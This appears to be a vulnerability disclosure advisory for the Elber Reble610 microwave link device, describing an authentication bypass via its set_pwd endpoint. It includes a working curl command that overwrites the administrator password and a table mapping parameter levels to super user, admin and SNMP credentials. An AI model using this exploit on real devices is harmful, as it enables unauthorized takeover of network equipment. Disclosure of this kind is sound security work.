Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass  
Vendor: Elber S.r.l.  
Product web page:  
Affected version: 0.01 Revision 0  
Summary: The REBLE610 features an accurate hardware design, absence of  
internal cabling and full modularity. The unit is composed by a basic  
chassis with 4 extractable boards which makes maintenance and critical  
operations, like frequency modification, easy and efficient. The modular  
approach has brought to the development of the digital processing module  
(containing modulator, demodulator and data interface) and the RF module  
(containing Transmitter, Receiver and channel filters). From an RF point  
of view, the new transmission circuitry is able to guarantee around 1 Watt  
with every modulation scheme, introducing, in addition, wideband precorrection  
(up to 1GHz depending on frequency band).  
Desc: The device suffers from an authentication bypass vulnerability through  
a direct and unauthorized access to the password management functionality. The  
issue allows attackers to bypass authentication by manipulating the set_pwd  
endpoint that enables them to overwrite the password of any user within the  
system. This grants unauthorized and administrative access to protected areas  
of the application compromising the device's system security.  
50: function apply_pwd(level, pwd)  
51: {  
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},  
53: function(data){  
54: //$.alert({title:'Operation',text:data});  
55: show_message(data);  
56: }).fail(function(error){  
57: show_message('Error ' + error.status, 'error');  
58: });  
59: }  
Tested on: NBFM Controller  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2024-5818  
Advisory URL:  
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234  
Ref (lev param):  
Level 7 = SNMP Write Community (snmp_write_pwd)  
Level 6 = SNMP Read Community (snmp_read_pwd)  
Level 5 = Custom Password? hidden. (custom_pwd)  
Level 4 = Display Password (display_pwd)?  
Level 2 = Administrator Password (admin_pwd)  
Level 1 = Super User Password (puser_pwd)  
Level 0 = User Password (user_pwd)